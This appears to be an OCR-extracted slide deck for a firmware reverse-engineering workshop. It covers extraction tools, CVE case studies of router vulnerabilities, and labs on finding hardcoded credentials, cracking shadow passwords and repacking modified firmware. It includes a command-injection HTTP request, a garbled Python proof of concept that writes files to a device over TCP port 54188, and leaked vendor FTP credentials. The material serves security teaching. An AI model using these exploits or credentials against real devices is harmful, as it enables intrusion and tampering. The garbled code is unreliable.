Introduction to Firmware Reversing Hackaday Remoticon 2020

About Me

- IoT Security Consultant at Payatu, India Embedded Hardware Security Firmware Reverse Engineering
- Trainer/Speaker

Checkpoint CPX360, Nullcon, IDCSS Infosec meetups

- Email asmita@payatu.com
- Twitter aj_0x00

Agenda

- Introduction to firmware
- Why firmware reversing
- Possible attack scenarios w.r.t firmware
- Introduction to tools for firmware static and dynamic analysis
- Examples of attacks due to vulnerabilities in the firmware
- Hands-on Labs

Introduction to Firmware

- Term coined by Ascher Opler in 1967 Datamation article
- Wikipedia (https://en.wikipedia.org/wiki/Firmware)

A type of software that gives the low-level control for a device's specific hardware. It provides control, monitoring and data manipulation of engineered products and systems.

- Held in non-volatile memory such as ROM, EEPROM or flash memory
- Code running on embedded devices

Introduction to Firmware

OS based firmwares

Bare metal firmwares





IoT Device















It's the core business logic of the device/product

It might be an IP for some vendors





Can provide low hanging fruit for an attacker. Might affect other parts of the ecosystem.

Possible Attack Scenarios w.r.t Firmware

- Filesystem
- Custom Binaries
- Hardcoded sensitive information like passwords, keys, etc.
- Configuration files
- Certificates
- Perform debugging , hunt & attack
- No hardware, no problem!! Emulation
- Fuzzing
- Vulnerability in binaries leading to RCE, DoS attacks
- Patch with backdoors

Introduction to tools for firmware static & dynamic analysis

Approach

- Identify if it's OS based or bare metal firmware
- Identify if the firmware is encrypted
- If encrypted Workaround to decrypt it (It can be tricky !!)
 - Reversing the previous non-encrypted releases/transitions of the firmware
 - Hardware attacks like SCA to fetch the key
 -
- If bare metal/RTOS/Proprietary Not much tools in your court :(
 - Identify the controller, get the datasheet.
 - Identify the architecture, memory map
 - Reverse the binary usings tools like Ghidra, IDA Pro, radare2
 - Real time analysis using debuggers
 - If hardware not present, use tools like Qemu, Unicorn for partial emulation
- If OS based Get your tools ready & start :)

Refer - https://payatu.com/blog/munawwar/iot-security---part-7-reverse-engineering-an-iot-firmware

Static Analysis

- Extraction Extract firmware files / code
- Strings

Find interesting strings in the code

• Hexdump

Analyse the supposed file header

• Identifying instruction set Try to identify the instruction set if no info on the chip

Dynamic Analysis

- Emulation
- Fuzzing
- Hardware & software based debugging

• Hex Editors : Hexdump - https://man7.org/linux/man-pages/man1/hexdump.1.html , Bless - https://github.com/bwrsandman/Bless

000000000	63	72	36	63	80	50	00	00	00	10	00	00	00	14	c 4	02	Cr6C.P
00000010	00	00	00	00	00	00	80	21	40	90	60	00	00	00	00	00	!@.` <u>.</u>
00000020	00	00	00	00	00	00	00	00	3c	10	80	65	26	10	c 4	00	<e&< td=""></e&<>
00000030	3c	11	80	65	26	31	c 8	28	02	00	40	21	ad	00	00	00	<e&1.(@! < td=""></e&1.(@! <>
00000040	21	08	00	04	15	11	ff	fd	00	00	00	00	02	20	40	21	!@!
00000050	21	08	10	00	01	00	e8	21	08	14	00	78	01	00	20	21	[!!x !]
00000060	00	00	00	00	08	14	00	15	00	00	00	00	00	00	00	00	
00000070	00	80	40	21	24	04	00	00	24	05	00	00	01	00	00	08	@!\$\$
00000080	24	06	00	00	00	00	00	00	3c	09	bd	01	35	29	01	0c	\$5)
00000090	8d	28	00	00	3c	09	f0	00	01	09	40	24	00	08	47	02	.(<@\$G.
000000a0	24	01	00	04	11	01	00	26	00	00	00	00	00	00	00	00	\$
00000060	24	01	00	08	11	01	00	22	00	00	00	00	00	00	00	00	\$
000000000	3c	04	bd	01	34	84	01	04	8c	88	00	00	3c	01	00	03	<4
000000d0	34	21	ff	ff	01	01	40	24	3c	09	00	03	35	29	67	04	4!@\$<5)g.
000000e0	15	09	00	0c	00	00	00	00	00	00	00	00	3c	04	bd	01	
000000f0	34	84	01	08	8c	88	00	00	31	08	0f	ff	24	09	0a	0b	41\$
00000100	15	09	00	04	00	00	00	00	03	e0	00	08	00	00	00	00	
00000110	00	00	00	00	Зc	08	00	03	35	08	67	04	3c	04	bd	01	<5.g.<
00000120	34	84	01	04	ac	88	00	00	24	08	0a	øЬ	3c	04	bd	01	4\$<
00000130	34	84	01	08	08	14	00	бс	ac	88	00	00	00	00	00	00	4
00000140	3c	04	bd	01	34	84	01	04	8c	88	00	00	3c	01	00	03	<4<
00000150	34	21	ff	ff	01	01	40	24	3c	09	00	03	35	29	5a	03	4!@\$<5)Z.
00000160	15	09	00	0c	00	00	00	00	00	00	00	00	3c	04	bd	01	
00000170	34	84	01	08	8c	88	00	00	31	08	0f	ff	24	09	09	0Ь	41\$
00000180	15	09	00	04	00	00	00	00	03	e0	00	08	00	00	00	00	
00000190	00	00	00	00	3c	08	00	03	35	08	5a	03	3c	04	bd	01	<5.Z.<
000001a0	34	84	01	04	ac	88	00	00	24	08	09	0b	3c	04	bd	01	4\$<
000001b0	34	84	01	08	08	14	00	бс	ac	88	00	00	00	00	00	00	4l
000001c0	3c	04	bd	01	34	84	00	58	24	08	00	02	ac	88	00	00	<4X\$

🕞 🛅 🕻	<u>.</u>	-	0		X	E			Q	0	C											
DIR830LA1_	FW1	00B0	7.bi	n X																		
00000000	63	72	36	63	80	50	00	00	00	10	00	00	00	14	C4	02	00	00	00	00	00	cr6c.P
0000015	00	80	21	40	90	60	00	00	00	00	00	00	00	00	00	00	00	00	00	30	10	
0000002a	80	65	26	10	C4	00	30	11	80	65	26	31	C 8	28	02	00	40	21	AD	00	00	.e& <e&1.(@!< td=""></e&1.(@!<>
000003f	00	21	08	00	04	15	11	FF	FD	00	00	00	00	02	20	40	21	21	08	10	00	.!
00000054	01	00	E8	21	08	14	00	78	01	00	20	21	00	00	00	00	08	14	00	15	00	lx l
0000069	00	00	00	00	00	00	00	00	80	40	21	24	04	00	00	24	05	00	00	01	00	
3000007e	00	08	24	06	00	00	00	00	00	00	30	09	BD	01	35	29	01	0C	8D	28	00	\$
0000093	00	30	09	F0	00	01	09	40	24	00	08	47	02	24	01	00	04	11	01	00	26	.<@\$G.\$
00000a8	00	00	00	00	00	00	00	00	24	01	00	08	11	01	00	22	00	00	00	00	00	\$"
900000bd	00	00	00	3C	04	BD	01	34	84	01	04	80	88	00	00	30	01	00	03	34	21	<4
00000d2	FF	FF	01	01	40	24	30	09	00	03	35	29	67	04	15	09	00	00	00	00	00	@\$<5)g
00000e7	00	00	00	00	00	30	04	BD	01	34	84	01	08	80	88	00	00	31	08	0F	FF	
00000fc	24	09	0A	0B	15	09	00	04	00	00	00	00	03	E0	00	08	00	00	00	00	00	\$
00000111	00	00	00	3C	08	00	03	35	08	67	04	30	04	BD	01	34	84	01	04	AC	88	<5.g.<4
00000126	00	00	24	08	0A	0B	30	04	BD	01	34	84	01	08	08	14	00	6C	AC	88	00	\$41
0000013b	00	00	00	00	00	30	04	BD	01	34	84	01	04	80	88	00	00	30	01	00	03	<
00000150	34	21	FF	FF	01	01	40	24	30	09	00	03	35	29	5A	03	15	09	00	00	00	4!@\$<5)Z
Signed	8 bit	99					S	igneo	32	bit:	1668	3429	411					ŀ	lexa	deci	mal:	63 72 36 63
Unsigned	8 hit	99	i i				Lins	inner	132	hit.	1668	3429	411							Deci	mal	099 114 054 099

Binwalk - <u>https://github.com/ReFirmLabs/binwalk/wiki/Usage</u>

Usage: binwalk [OPTIONS] [FILE1]	[FILE2][FILE3]
Disassembly Scan Options:	
-Y,disasm	Identify the CPU architecture of a file using the capstone disassembler
-T,minsn= <int> -k,continue</int>	Minimum number of consecutive instructions to be considered valid (default: 500) Don't stop at the first match
Signature Scan Options:	
-B,signature	Scan target file(s) for common file signatures
-R,raw= <str></str>	Scan target file(s) for the specified sequence of bytes
-A,opcodes	Scan target file(s) for common executable opcode signatures
-m,magic= <file></file>	Specify a custom magic file to use
-b,dumb	Disable smart signature keywords
-I,invalid	Show results marked as invalid
-x,exclude= <str></str>	Exclude results that match <str></str>
-y,include= <str></str>	Only show results that match <str></str>
Extraction Options:	
-e,extract	Automatically extract known file types
<pre>-D,dd=<type[:ext[:cmd]]></type[:ext[:cmd]]></pre>	Extract <type> signatures (regular expression), give the files an extension of <ext>, and execute <c< td=""></c<></ext></type>
-M,matryoshka	Recursively scan extracted files
-d,depth= <int></int>	Limit matryoshka recursion depth (default: 8 levels deep)
-C,directory= <str></str>	Extract files/folders to a custom directory (default: current working directory)
-j,size= <int></int>	Limit the size of each extracted file
-n,Count= <int></int>	Limit the number of extracted files
-1,114	Delete calved files aller extraction
-Z,Carve	Carve data from files, but don't execute extraction diffices
-v,subutis	
Entropy Options:	
-E,entropy	Calculate file entropy
-F,Tast	Use faster, but less detailed, entropy analysis
-J,save	Save plot as a PNG
-Q,nLegend	Unit the legend from the entropy plot graph
-N,nplot	bo not generate an entropy plot graph
-n,nugn= <nuoau></nuoau>	Set the filling adde entropy trigger threshold (default: 0.95)
-L,LOW=	set the fatting edge entropy trigger threshold (default: 0.85)
Binary Diffing Options:	
-W,hexdump	Perform a hexdump / diff of a file or files
-G,green	Only show lines containing bytes that are the same among all files
-1,red	Only show lines containing bytes that are different among all files
-U,blue	Only show lines containing bytes that are different among some files
-u,similar	Only display lines that are the same between all files
	with all tilles out only display a bey dump of the first file

Ghidra / IDA Pro - https://github.com/NationalSecurityAgency/ghidra
 https://www.hex-rays.com/products/ida/



Firmwalker - <u>https://craigsmith.net/firmwalker/</u>

Search for password files ***Search for Unix-MD5 hashes*** ***Search for SSL related files*** ***Search for SSH related files***

• FACT Tool - <u>https://github.com/fkie-cad/FACT_core</u>

- 14					0.0	strings: $Sa = \lambda merchs S1(d+(1)d+)27$ increase				
						sa č				
binwalk signature and	Showing Anal	sis: binwalk				□ scan single firmware				
entropy analysis										
nwalk	Time of Analysis	2020-04-02 15:37:21								
pu architecture						Example queries: HEX-Pottern				
ypto hints	Plugin Version	0.5.2	_			rule a_bex_string_rule				
ypto material	Signature	DECIMAL HEXADECIMAL DESCRIPTION				strings: \$a = { 0AID }				
e lookup	Analysis	0 0x0 ELF. 32-bit MSB MIPS64 executable. MIPS. version 1 (SYSV)				condition: \$9				
ve checker		121599 9x1DAFF Copyright string: "copyrighted by many authors between 1998-2015." 121705 9x1DMFF Copyright string: "copyrighted by many authors between 1998-2015."				} Natzhen ferrmane film induzing 0x0418.				
f analysis		129108 0x10609 Copyragic scring, Copyright Horices. 129108 0x1F854 SHA256 hash constants, big endian				ASCR male a world strategy male				
ploit mitigations		132215 8x28477 Base64 standard index table				(strings:				
e hashes						\$a = "backdoor" ascii wide nocase \$b = "moodkcab" ascii wide nocase				
le system metadata	Entropy Graph		File Tree			condition: \$2 or \$0				
e type		Entropy	shadow (153.00 Byte)			7 Matches firmware files including the string "backdoor" or "roodkoab" in Ibit (anci) or 10bit (wide) representation and not case sensitive.				
it systems			Analysis Results	Showing Analysis: use	ers and passwords					
put vectors			cpu architecture	Time of Analysis 2020-04-14 09:29:04		14				
and uri finder		1.0 -	crypto material							
nown vulnerabilities		cve lookup Plugin Ven		Plugin Version	0.4.3					
alware scanner		0.8 -	file hashes	daemon	entry	daemon*.00.99999.7::				
anufacturer etection		manyman	file type	ftp	entry	ftp:+D0.99999.7::				
rintable strings		हे 0.6 -	knowr search for UNIX and httpd password files, parse them	network	entry	network::10.0.99999.7::				
emu exec			softwa and try to crack the unpac passwords	nobody	entry	nabody:*.0.0;99999.7::				
oftware components			users and passwords	root	entry	root\$1\$ZVpxbK71\$2Fgpdj.x9SBOCz5oyULHd/				
nder			O Run additional analysis		password	root				
ource code analysis		Copyright string: "copyrighted by many authors between 1998-2015."			password-	\$1\$ZVpxbK71\$2Fgpdj.x9S8OCzSoyULHd/				
ring evaluator		Copyright string: "copyright notices."			hash					
npacker		Base64 standard index table				Show Preview				
ers and passwords			3000 F10000							
Run additional nalysis		0 20000 40000 60000 80000 100000 120000 140000 Offset	2 daemon:*:0:0:99999:7::: 3 ftp:*:0:0:99999:7::: 4 network:*:0:0:99999:7:::							

Binary Pattern Search

Yara rule:

rule VxWorks5

Source - https://fkie-cad.github.io/FACT_core/main.html#screenshots

 EXPLIOT Firmware Auditor - <u>https://expliot.io/pages/firmware-auditor</u> (Community Version Free)

IoT Auditor							
AsmitaJha Payatu	FIRMWARE RESULTS Detail Firmware analysis results						
70015	Estavas	Firmware Info					
	Entropy	File Name openwrt-18.06.0-ar71xx-generic-wrt160nl-squashfs-factory.bin					
Firmware	1.0 -	Version 1					
🖾 Compliance		File Size 3736576					
Network	0.8 -	MD5 e7f282a47205e155da8df31e950076bc					
🗟 Radio	Aug.	SHA-1 le24f11ea7e2aaa57393a4f99c8d0c2fcfba337b					
 Claud 	d. 0.6 -	SHA-256 4576bb324fd4fcd1753d6450bd6a2022fb34412ed7f264e9b90e57a580405c86					
	0.4 -	Kernel -					
🔑 Hardware		File System squashfs					
EXPLIOT Box	0.2 -						
	0.0 0.5 1.0 1.5 2.0 2.5 3.0 3.5 Offset 1e6						

File System	-
squashfs	
Analysis Results	-
Database Files	1
Web Servers	0
Password Files	3
Important Binaries	6
Binary Files	0
Configuration Files	11
Files with Email Id	172
Shell Script Files	37
Files having Suspicious string	176
Files having IP Address	23
Files Having HTTP URL	31
SSH Related Files	1
Crypto Related Files	0
Startup Services	40
Insecure Functions	57

File path /lib/preinit/00_preinit.conf /usr/share/dnsmasg/rfc6761.conf /usr/share/fw3/helpers.conf /etc/sysupgrade.conf /etc/opkg.conf /etc/sysctl.conf /etc/dnsmasq.conf /etc/sysctl.d/11-nf-conntrack.conf /etc/sysctl.d/10-default.conf /etc/opkg/customfeeds.conf /etc/opkg/distfeeds.conf Rows per page 15 ∽

- strings
- John the ripper (JtR) <u>https://www.openwall.com/john/</u>
- Hex Editors Hexdump , Bless <u>https://github.com/bwrsandman/Bless</u>
- Binwalk <u>https://github.com/ReFirmLabs/binwalk/wiki/Usage</u>
- Ghidra / IDA Pro <u>https://github.com/NationalSecurityAgency/ghidra</u>, <u>https://www.hex-rays.com/products/ida/</u>
- Firmwalker <u>https://craigsmith.net/firmwalker/</u>
- FACT Tool <u>https://github.com/fkie-cad/FACT_core</u>
- EXPLIOT Firmware Auditor <u>https://expliot.io/pages/firmware-auditor</u>
- Firmware mod kit <u>https://github.com/rampageX/firmware-mod-kit/wiki</u>

Tools for dynamic analysis

- gdb-multiarch
- Qemu <u>https://www.qemu.org/</u>
- Avatar2 <u>https://github.com/avatartwo/avatar2</u>
- Firmadyne <u>https://github.com/firmadyne/firmadyne</u>
- Unicorn <u>https://www.unicorn-engine.org/</u>
- Qiling <u>https://github.com/qilingframework/qiling</u>
- Fuzzing Tools like Radamsa, booFuzz, etc.

Examples of attacks due to vulnerabilities in the firmware

• CVE-2017-8408

- Vulnerability Command injection
- Affected Software : D-Link DIR-823G devices
- Detail Report <u>https://www.cvedetails.com/cve/CVE-2019-15530/</u>
- This occurs in the /bin/goahead when a HNAP API function trigger a call to the system function with untrusted input from the request body.
- A attacker can execute any command remotely when they control this input.

POST /HNAP1/ HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: text/xml; charset=utf-8 SOAPAction: "http://purenetworks.com/HNAP1/Login" HNAP_AUTH: B7D411FD8F17465449ECD84387880A9B 1562830126 X-Requested-With: XMLHttpRequest Content-Length: 466 Connection: close Referer: http://192.168.0.1/Login.html Cookie: uid=GiANGCXijb; PrivateKey=BBB7A06ACE6565A4A3AFFEEE8F0473B0

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login xmlns="http://purenetworks.com/HNAP1/"><Action>request</Action><Username>Admin</Username> <LoginPassword: ;***

Source - https://github.com/TeamSeri0us/pocs/blob/master/iot/dlink/823G-102B05-2.pdf

la	<pre>\$v0, aEchoSVarHnaplo # "echo</pre>	'%s' >/var/hnaplog"
addiu	\$v1, \$fp, 0x1448+var 1390	
move	\$a0, \$v1	
li	\$a1, 0x1387	
move	\$a2, \$v0	—— Input parsing
lw	<pre>\$a3, 0x1448+arg_18(\$fp)</pre>	
jal	snprintf	
nop		
addiu	\$v0, \$fp, 0x1448+var_1390	
move	\$a0, \$v0	—— Command
jal	system	Execution
nop		

Source - https://github.com/TeamSeri0us/pocs/blob/master/iot/dlink/823G-102B05-2.pdf

• CVE-2020-8614

- Vulnerability Remote Code Execution (RCE)
- Affected Software : Askey AP4000W TDC_V1.01.003 devices
- Detail <u>https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8614</u>, <u>https://improsec.com/tech-blog/rce-askey</u>
- An attacker can perform Remote Code Execution (RCE) by sending a specially crafted network packer to the bd_svr service listening on TCP port 54188.
- Insecure firmware FTP server, hardcoded credentials

Insecure firmware FTP server



"Status.cgi" inside /web decompilation

- "wget" to fetch a new firmware from a FTP-server
- Credentials "Askeyfota" with the password "d400fota"
- FTP-credentials had Read and Write rights to most directories on the manufactures FTP-server
- Allow an attacker to add, delete or modify firmware images
- Implant a backdoor into the firmware
- No firmware signature validation in the update mechanism.

Source - https://improsec.com/tech-blog/rce-askey



"Bd_svr" service inspection



"bd_svr" application decompilation Listening on port 0xd3ac i.e. 54188



After creating the socket, the program enters the "tcp_svr_select_n_handle" function which runs a "while" loop waiting for client connections.

Suspected functions

Source - https://improsec.com/tech-blog/rce-askey

"cmd_n_data_send", "cmd_write", "cmd_send" and "cmd_read" functions observation

The program had the calls to system functions like "lseek", "write", "open", "opendir" and "readdir" which were all functions to interact with the filesystem.

By sending a crafted message containing a "magic-signature" allowed any unauthenticated user to write files to the filesystem.

Function	Content
Magic signature	0x11223344
Command type	Long type (0x00000001 for writing to remote file)
Payload size	Long type of payload (remote path+nullbyte+file content) size in bytes
Separator byte	Byte type (0x00) to separate file path and file content
File content	Content of file to write to remote filesystem
Message end	Byte type - 0xa

Crafted message containing a "magic-signature" allowed any unauthenticated user to write files to the filesystem.

```
#!/usr/bin/python
import socket
import sys
import os
if len(sys.argv) < 4:
    print "./write_file.py IP remote-path-file local-path-file"
    exit(0)
f = open(sys.argv[3], 'r')
# Magic bytes
magic = struct.pack(">1", 0x11223344)
# remote file
remote file = sys.argv[2]
# payload_size
payload_size = struct.pack(">1", 0x11223344)
# remote file
remote_file = sys.argv[2]
# payload_size = struct.pack(">1", 0x11223344)
# remote_file = sys.argv[2]
# payload_size = struct.pack(">1", 0x11223344)
# remote_file = sys.argv[2]
# payload_size = struct.pack(">1", 0x11223344)
# remote_file = sys.argv[2]
# payload_size
madic = struct.pack(">1", 0x11223344)
# remote_file = sys.argv[2]
# payload_size = struct.pack(">1", 0x11223344)
# remote_file = sys.argv[2]
# payload_size
madic = struct.pack(">1", 0x11223344)
# remote_file = sys.argv[2]
# payload_size
mot_file = struct.pack(">1", 0x11223344)
# remote_file = sys.argv[2]
# payload_size
mot_file = struct.pack(">1", 0x11223344)
# remote_file = sys.argv[2]
# payload_size
mot_file = struct.pack(">1", 0x01)
* s_socket.socket(socket.Af_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 54188))
s.s.end(magic:comd_type+payload_size+"..."+remote_file+"\x00"+f.read()) s.close()
print "file "+sys.argv[2]+" written to remote_filesystem"
except:
print "Connnection failed"
```

• CVE-2020-8423

- Vulnerability Buffer overflow
- Affected Software : TP-Link TL-WR841N V10 (firmware version 3.16.9)
- Detail <u>https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8423</u>, <u>https://ktln2.org/2020/03/29/exploiting-mips-router/</u>
- A buffer overflow in the httpd daemon.
- Allows an authenticated remote attacker to execute arbitrary code via a GET request to the page for the configuration of the Wi-Fi network.

int {	stringModify <mark>(char *dst,size_t size,char *src)</mark>
	Description
Signature	<pre>int stringModify(char *dst,size_t size,char *src)</pre>
Description	Escape the src buffer and put the contents in dst until it encounters a NUL byte or has consumed size bytes from the source buffer. The conversion consists in the escaping of \land , /, <, >, " . A non consecutive newline is converted to
Return value	Return the number of bytes converted from the source or -1 if src or dst are NUL
Note	It's not clear what are trying to do, maybe escaping HTML . The dst buffer should be at least three times larger of src to be sure it will fit.

Source - https://ktln2.org/2020/03/29/exploiting-mips-router/



- Function that uses as input a buffer from the user and as destination a buffer in the stack
- It prints a value in the page and uses a buffer of 512 bytes located in the stack big as the size limit passed to stringModify()
- used to print some values passed as GET

int	userf	*req)			
	char	local_buffer [68];			
				_	

puger uru)

writePageParamSet(req, "\"%s\",",local_buffer); writePageParamSet(req, "%d,",local_buffer + 0x24); writePageParamSet(req, "%d,",local_buffer + 0x28); writePageParamSet(req, "%d,",local_buffer + 0x2c);

Source - https://ktln2.org/2020/03/29/exploiting-mips-router/

- CVE-2017-10721
- Vulnerability : Telnet Enabled
- Affected Software : Shekar Endoscope
 - Shekar Endoscope Firmware has Telnet functionality enabled by default.
 - This device acts as an Endoscope camera that allows its users to use it in various industrial systems and settings, car garages, and also in some cases in the medical clinics to get access to areas that are difficult for a human being to reach.
- Explicitation:
 - Attacker has to connect to the camera's default SSID with default creds
 - Then he should be able to brute force telnet username password

Source - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-10721

Labs

- Let's get started.....

Lab 1 - Firmware extraction & credentials search

• Aim - Given a firmware binary of a router, extract the firmware, identify the filesystem, architecture, find the hardcoded telnet credentials.

Steps :

- 1. Go to directory /home/exos/labs/lab1
- 2. Run command *binwalk -e firm_lab1.bin*, you get a directory *_firm_lab1.bin.extracted*
- 3. Inside the _firm_lab1.bin.extracted directory, go to squashfs directory,
- 4. Run command grep -irn "telnet".
- 5. You can see a script file *S80telnetd.sh*
- 6. Cat that file using *cat ./etc/init0.d/S80telnetd.sh*
- 7. Now you can find hardcoded credentials inside it :)

Lab 2 - Firmware Modification & Re-packing

• Aim - Given a firmware binary, extract the firmware, modify some sensitive info and re-pack the extracted firmware.

Steps :

- 1. Go to directory /home/exos/labs/lab2
- 2. Run command *extract-firmware.sh firm_lab2.bin* , you get a directory *fmk*
- 3. Inside the *fmk* directory, go to rootfs directory, do change in any file of your choice. Modify the firmware Either add/modify a script in /usr/bin or delete root password in /etc/shadow
- 4. Rebuild (and extract at another location and check your modification to confirm modification was successful)

- Cmd: *build-firmware.sh <fmk-dir>*

- If it gives and error and complains about the size, use the -min option in the cmd

Lab 3 - Crack the password

• Aim - Given a firmware binary, extract the firmware, identify the password related files & crack the Linux password.

Steps:

- 1. Go to directory /home/exos/labs/lab3
- 2. Run command *binwalk -e firm_lab3.bin* to extract the binary as in lab1
- 3. Inside the *_firm_lab3.bin.extracted* directory, go to squashfs directory, copy ./etc/passwd and ./etc/shadow files somewhere
- 4. Attempt to crack password using john
 - Cmd: \$ john <shadowfile> (N.B. It will take more time)
 - Cmd for cracking using password list:\$ **john -wordlist=<pwd-list> <shadowfile>** <pwd-list>: Password list password.list file provided in the lab directory
- 5. NOTE: Once John cracks the password, it creates an entry in ~/.john/john.pot and doesn't crack it again, so if you used password list and cracked a password and want to try the default bruteforce method, delete the john.pot file first (rm -rf ~/.john/*)

Lab 4 - Firmware Dynamic Analysis

• Aim - Given a firmware binary, extract the firmware, identify the custom / proprietary binaries. Emulate & fuzz it.

Steps :

- 1. Go to directory /home/exos/labs/lab4 (This is your <lab-path>)
- 2. Run command *binwalk -e firm_lab4.bin* , to extract the binary as in previous labs
- Copy qemu-mips (provided in the lab directory) to squashfs dir of extracted firmware cd_firm_lab4.bin.extracted/squashfs sudo cp <lab-path>/qemu-mips.
- 4. Run the binary using qemu in chroot env
 - sudo chroot . ./qemu-mips <binary>

<binary>: A binary that you want to run and analyse. Use bin/busybox for example
Find any interesting binary (probably something that's listening on some port) and try to fuzz
it

More links :

- <u>https://www.unicorn-engine.org/docs/beyond_qemu.html</u>
- <u>https://payatu.com/blog/munawwar/solving-the-problem-of-encrypted-firmware</u>
- <u>https://www.thezdi.com/blog/2020/2/6/mindshare-dealing-with-encrypted-router-firmware</u>
- <u>https://www.pentestpartners.com/security-blog/breaking-bad-firmware-encryption-case-study-on-the-netgear-nighthawk-m1/</u>
- <u>https://payatu.com/blog/asmita-jha/--stack-smashing--protection-in-hardware-attack</u> (For bare metal)

Thank You

- Questions?

- Email : asmita@payatu.com
- Twitter : aj_0x00